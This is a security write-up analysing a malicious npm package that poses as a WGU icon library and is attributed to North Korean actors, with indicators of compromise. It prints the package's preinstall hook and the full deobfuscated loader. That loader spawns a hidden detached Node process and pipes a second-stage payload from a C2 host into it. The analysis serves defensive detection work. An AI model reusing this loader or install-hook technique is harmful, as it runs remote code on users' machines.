wgu-edu/wgu-icons - DPRK-Linked CloudFront Beacon
Obfuscated Node.js beacon masquerading as a WGU icon library. On install, spawns a hidden detached child process and beacons to a DPRK-attributed CloudFront C2 to pull down a second-stage payload via stdin. Caught by scanner 7 minutes after publication.
Package
Threat Actor
DPRK / Lazarus GroupTags
Overview
The package "@wgu-edu/wgu-icons" was published on the 4th of March and consists of only two files: package.json and index.js. The package.json defines a preinstall hook pointing at index.js, which is the sole delivery mechanism. Use of pre/post install scripts to drop beacons is extremely common in malicious NPM packages.
package.json — preinstall hook
{
"name": "@wgu-edu/wgu-icons",
"version": "31.0.0",
"description": "icons",
"main": "index.js",
"scripts": {
"preinstall": "node index.js"
},
"author": "",
"license": "ISC"
}
Obfuscated Payload (index.js)
The contents of index.js triggered the scanner's obfuscation rules. The code uses the javascript-obfuscator tool which encrypts all string literals into a shuffled array, then emits a self-rotating decoder using while(!![]) as its infinite loop construct. The scanner also matched on the spawning of a child process — a very common technique in malicious NPM packages.
Deobfuscated payload
const https = require('https');
const { spawn } = require('child_process');
// Spawn a detached child Node.js process reading from stdin
const child = spawn(process.execPath, ['-'], {
detached: true,
stdio: ['pipe', 'ignore', 'ignore'], // stdout/stderr silenced
windowsHide: true
});
// Reach out to C2
const req = https.get({
hostname: 'd38u852ncr1ov2[.]cloudfront[.]net',
port: 443,
path: '/page?id=e9065329&3',
method: 'GET',
headers: { 'User-Agent': 'Mozilla/5.0 (Macintosh...) Safari/605.1.15' }
}, (response) => {
if (response.statusCode !== 200) {
child.kill();
process.exit(0);
}
// Pipe the remote payload directly into the child process's stdin
response.pipe(child.stdin);
response.on('end', () => {
child.unref(); // detach from parent — child survives parent exit
process.exit(0);
});
});
req.on('error', () => { child.kill(); process.exit(0); });
Package Author
The package author "solidshadwsynack" also published a second package, "@wgu-edu/wgu-core", two days prior to this one. That package contains the exact same payload and is reported to have 274 downloads.
Domain OSINT
The CloudFront domain was not successfully resolving at time of analysis, even when mimicking the user-agent defined in the payload. However, the domain has appeared elsewhere in malicious samples — it is present as a communicating domain for a malicious binary (SHA-256: 0f67b0ee05151d9ac0279418cfaeb545e4dfd785585f0929962628781c89cd8c). A Chinese cyber security vendor shared a reverse-engineered binary on X.com where the CloudFront domain is hardcoded as a C2. Samples associated with this domain have been attributed to a North Korean threat actor.
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| @wgu-edu/wgu-icons | 31.0.0 | solidshadwsynack | Obfuscated beacon, DPRK-linked C2 |
| @wgu-edu/wgu-core | — | solidshadwsynack | Same payload, 274 reported downloads |
Domains
| Domain | Type | Context |
|---|---|---|
| d38u852ncr1ov2[.]cloudfront[.]net | C2 | Second-stage payload host; also seen in DPRK-attributed binary |
URLs
| URL | Context |
|---|---|
| hxxps://d38u852ncr1ov2[.]cloudfront[.]net/page?id=e9065329&3 | Second-stage payload delivery endpoint |
File Hashes
| Hash | Type | Context |
|---|---|---|
| 0f67b0ee05151d9ac0279418cfaeb545e4dfd785585f0929962628781c89cd8c | SHA-256 | Malicious binary communicating with CloudFront C2; DPRK-attributed |